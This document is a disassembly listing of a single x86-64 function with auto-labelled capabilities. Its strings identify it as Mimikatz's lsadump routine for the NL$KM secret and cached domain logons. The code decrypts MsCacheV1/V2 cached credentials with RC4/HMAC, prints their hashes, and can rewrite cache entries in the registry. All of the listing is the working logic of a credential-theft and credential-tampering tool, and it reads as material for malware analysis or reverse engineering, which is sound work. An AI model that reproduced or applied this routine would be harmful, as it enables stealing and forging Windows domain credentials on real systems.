Function at 0x1401050e0
Capabilities:
Encrypt data using rc4 via systemfunction032
Encrypt data using rc4 via systemfunction033

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x138
mov dword [rsp + 0x110], 0
mov dword [rsp + 0x98], 0x2800
mov dword [rsp + 0xf0], Ordinal_26
mov dword [rsp + 0xf4], Ordinal_26
lea rax, [rsp + 0x118]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x158]
lea r8, str.SecretsNL_KMCurrVal
mov rdx, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x140]
call fcn.140106400
test eax, eax
je 0x140105c7c
cmp qword [rsp + 0x168], 0
je 0x1401051cb
mov rax, qword [rsp + 0x168]
cmp qword [rax], 0
je 0x1401051b0
mov dword [rsp + 0xb8], 0x20006
jmp 0x1401051bb
mov dword [rsp + 0xb8], 0
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0xbc], eax
jmp 0x1401051d6
mov dword [rsp + 0xbc], 0
mov eax, dword [rsp + 0xbc]
or eax, 0x20019
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
xor r9d, r9d
lea r8, str.Cache
mov rdx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x140]
call fcn.140018340
test eax, eax
je 0x140105c6e
cmp qword [rsp + 0x158], 0
je 0x1401052e9
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.140013fd0
lea rax, [rsp + 0x114]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.NL_IterationCount
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x140]
call fcn.140018cf0
test eax, eax
je 0x1401052dd
cmp dword [rsp + 0x78], 0x2800
jbe 0x140105294
mov eax, dword [rsp + 0x78]
and eax, 0xfffffc00
mov dword [rsp + 0xc0], eax
jmp 0x1401052a2
mov eax, dword [rsp + 0x78]
shl eax, 0xa
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x98], eax
mov r8d, dword [rsp + 0x98]
mov edx, dword [rsp + 0x78]
lea rcx, str._NL_IterationCount_is__u___u_real_iteration_s__n
call fcn.140013fd0
cmp dword [rsp + 0x78], 0
jne 0x1401052db
lea rcx, str._DCC1_mode___n
call fcn.140013fd0
jmp 0x1401052e9
lea rcx, str._Iteration_is_set_to_default__10240__n
call fcn.140013fd0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x140]
call fcn.140018780
test eax, eax
je 0x140105c59
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
inc eax
mov eax, eax
shl rax, 1
mov rdx, rax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x140105c59
mov eax, dword [rsp + 0xc4]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x140105c4b
mov dword [rsp + 0x78], 0
jmp 0x1401053e5
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0xe0]
cmp dword [rsp + 0x78], eax
jae 0x140105c40
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0xe4], eax
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0x8c], eax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x90]
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x140]
call fcn.140019510
test eax, eax
je 0x140105c3b
mov r8d, 0xa
lea rdx, str.NL_Control
mov rcx, qword [rsp + 0x90]
call fcn.140151334
test eax, eax
je 0x1401054c1
mov r8d, 0x11
lea rdx, str.NL_IterationCount
mov rcx, qword [rsp + 0x90]
call fcn.140151334
test eax, eax
je 0x1401054c1
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x30]
and eax, 1
test eax, eax
jne 0x1401054c6
jmp 0x1401053db
mov rdx, qword [rsp + 0x90]
lea rcx, str._n__s__
call fcn.140013fd0
mov rax, qword [rsp + 0x70]
add rax, 0x20
mov rcx, rax
call fcn.1400206b0
mov rax, qword [rsp + 0x70]
mov r8d, dword [rax + 0x10]
mov rax, qword [rsp + 0x70]
mov edx, dword [rax + 0x10]
lea rcx, str.__nRID_______:__08x___u__n
call fcn.140013fd0
mov eax, dword [rsp + 0x8c]
sub eax, 0x60
mov dword [rsp + 0x80], eax
cmp qword [rsp + 0x158], 0
je 0x1401058a9
mov rax, qword [rsp + 0x70]
add rax, 0x40
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x10
mov r9, qword [rsp + 0xd8]
mov r8d, dword [rsp + 0x80]
mov rdx, rcx
mov ecx, 0x660e
call fcn.140007540
test eax, eax
je 0x1401058a4
mov dl, 0x32
mov rcx, qword [rsp + 0x70]
call fcn.140105c90
mov rax, qword [rsp + 0x70]
movzx eax, word [rax]
mov word [rsp + 0xa2], ax
movzx eax, word [rsp + 0xa2]
mov word [rsp + 0xa0], ax
mov rax, qword [rsp + 0x70]
add rax, 0xa8
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x168]
cmp qword [rax + 0x30], 0
je 0x14010561d
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x84], 0
je 0x14010561d
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x84]
mov ecx, dword [rsp + 0x80]
sub ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, qword [rsp + 0x70]
lea rax, [rcx + rax + 0x60]
mov rcx, qword [rsp + 0x168]
mov r9d, dword [rcx + 0x38]
mov rcx, qword [rsp + 0x168]
mov r8, qword [rcx + 0x30]
mov rcx, qword [rsp + 0x70]
mov edx, dword [rcx + 0x84]
mov rcx, rax
call fcn.140105db0
cmp qword [rsp + 0x168], 0
je 0x1401058a4
mov rax, qword [rsp + 0x168]
cmp qword [rax], 0
je 0x1401058a4
movzx eax, word [rsp + 0xa0]
xor edx, edx
mov ecx, 2
div rcx
mov r8, rax
mov rdx, qword [rsp + 0xa8]
mov rax, qword [rsp + 0x168]
mov rcx, qword [rax]
call fcn.140151334
test eax, eax
jne 0x1401058a4
lea rcx, str.__User_cache_replace_mode__2___n
call fcn.140013fd0
mov rax, qword [rsp + 0x168]
cmp dword [rax + 0x18], 0
je 0x1401056e3
mov rax, qword [rsp + 0x168]
add rax, 8
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
mov r9d, dword [rsp + 0x98]
lea r8, [rsp + 0xa0]
mov rdx, rax
call fcn.140007cb0
test eax, eax
jl 0x1401056cb
mov dword [rsp + 0xc8], 1
jmp 0x1401056d6
mov dword [rsp + 0xc8], 0
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x7c], eax
jmp 0x140105726
mov rax, qword [rsp + 0x168]
cmp dword [rax + 0x2c], 0
je 0x14010571e
mov dword [rsp + 0x7c], 1
mov rax, qword [rsp + 0x168]
add rax, 0x1c
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
mov r8d, 0x10
mov rdx, rax
call fcn.140161160
jmp 0x140105726
mov dword [rsp + 0x7c], 0
cmp dword [rsp + 0x7c], 0
je 0x140105890
lea rcx, str.__MsCacheV2_:
call fcn.140013fd0
mov rax, qword [rsp + 0x70]
add rax, 0x60
xor r8d, r8d
mov edx, 0x10
mov rcx, rax
call fcn.1400204a0
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.140013fd0
mov rax, qword [rsp + 0x70]
add rax, 0x50
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
mov dword [rsp + 0x30], 0x10
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x20], eax
mov r9, rcx
mov r8d, 0x10
mov rdx, qword [rsp + 0xd8]
mov ecx, 0x8004
call fcn.140006af0
test eax, eax
je 0x14010588e
lea rcx, str.__Checksum__:
call fcn.140013fd0
mov rax, qword [rsp + 0x70]
add rax, 0x50
xor r8d, r8d
mov edx, 0x10
mov rcx, rax
call fcn.1400204a0
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.140013fd0
mov rax, qword [rsp + 0x70]
add rax, 0x40
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x10
mov r9, qword [rsp + 0xd8]
mov r8d, dword [rsp + 0x80]
mov rdx, rcx
mov ecx, 0x660e
call fcn.140007540
test eax, eax
je 0x14010588e
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x140]
call fcn.140018f10
test eax, eax
je 0x14010587a
lea rcx, str.__OK__n
call fcn.140013fd0
jmp 0x14010588e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_registry_RegSetValueEx__0x_08x__n
call fcn.140013fd0
jmp 0x1401058a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache______0x_08x__n
call fcn.140013fd0
jmp 0x140105c3b
mov rax, qword [rsp + 0x70]
add rax, 0x40
mov dword [rsp + 0x30], 0x10
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0x10
mov r9, rax
mov r8d, dword [rsp + 0xe8]
mov rdx, qword [rsp + 0xd8]
mov ecx, 0x8003
call fcn.140006af0
test eax, eax
je 0x140105c27
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x104], eax
mov eax, dword [rsp + 0x104]
mov dword [rsp + 0x100], eax
mov rax, qword [rsp + 0x70]
add rax, 0x60
mov qword [rsp + 0x108], rax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_SystemFunction033]
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0
jl 0x140105c12
mov dl, 0x31
mov rcx, qword [rsp + 0x70]
call fcn.140105c90
mov rax, qword [rsp + 0x70]
movzx eax, word [rax]
mov word [rsp + 0xa2], ax
movzx eax, word [rsp + 0xa2]
mov word [rsp + 0xa0], ax
mov rax, qword [rsp + 0x70]
add rax, 0xa8
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0x168], 0
je 0x140105c10
mov rax, qword [rsp + 0x168]
cmp qword [rax], 0
je 0x140105c10
movzx eax, word [rsp + 0xa0]
xor edx, edx
mov ecx, 2
div rcx
mov r8, rax
mov rdx, qword [rsp + 0xa8]
mov rax, qword [rsp + 0x168]
mov rcx, qword [rax]
call fcn.140151334
test eax, eax
jne 0x140105c10
lea rcx, str.__User_cache_replace_mode__1___n
call fcn.140013fd0
mov rax, qword [rsp + 0x168]
cmp dword [rax + 0x18], 0
je 0x140105a4c
mov rax, qword [rsp + 0x168]
add rax, 8
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
xor r9d, r9d
lea r8, [rsp + 0xa0]
mov rdx, rax
call fcn.140007cb0
test eax, eax
jl 0x140105a34
mov dword [rsp + 0xcc], 1
jmp 0x140105a3f
mov dword [rsp + 0xcc], 0
mov eax, dword [rsp + 0xcc]
mov dword [rsp + 0x7c], eax
jmp 0x140105a8f
mov rax, qword [rsp + 0x168]
cmp dword [rax + 0x2c], 0
je 0x140105a87
mov dword [rsp + 0x7c], 1
mov rax, qword [rsp + 0x168]
add rax, 0x1c
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
mov r8d, 0x10
mov rdx, rax
call fcn.140161160
jmp 0x140105a8f
mov dword [rsp + 0x7c], 0
mov rax, qword [rsp + 0x168]
add rax, 8
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
xor r9d, r9d
lea r8, [rsp + 0xa0]
mov rdx, rax
call fcn.140007cb0
test eax, eax
jl 0x140105c10
lea rcx, str.__MsCacheV1_:
call fcn.140013fd0
mov rax, qword [rsp + 0x70]
add rax, 0x60
xor r8d, r8d
mov edx, 0x10
mov rcx, rax
call fcn.1400204a0
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.140013fd0
mov rax, qword [rsp + 0x70]
add rax, 0x50
mov rcx, qword [rsp + 0x70]
add rcx, 0x60
mov dword [rsp + 0x30], 0x10
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x20], eax
mov r9, rcx
mov r8d, 0x10
mov rdx, qword [rsp + 0xf8]
mov ecx, 0x8003
call fcn.140006af0
test eax, eax
je 0x140105c10
lea rcx, str.__Checksum__:
call fcn.140013fd0
mov rax, qword [rsp + 0x70]
add rax, 0x50
xor r8d, r8d
mov edx, 0x10
mov rcx, rax
call fcn.1400204a0
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.140013fd0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_SystemFunction032]
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0
jl 0x140105bfd
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x140]
call fcn.140018f10
test eax, eax
je 0x140105be7
lea rcx, str.__OK__n
call fcn.140013fd0
jmp 0x140105bfb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_registry_RegSetValueEx__0x_08x__n
call fcn.140013fd0
jmp 0x140105c10
mov edx, dword [rsp + 0x84]
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___RtlEncryptData2:_0x_08x_n
call fcn.140013fd0
jmp 0x140105c25
mov edx, dword [rsp + 0x84]
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___RtlEncryptDecryptRC4_:_0x_08x_n
call fcn.140013fd0
jmp 0x140105c3b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_crypto_hmac__0x_08x__n
call fcn.140013fd0
jmp 0x1401053db
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x140]
call fcn.140019960
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
add rsp, 0x138
ret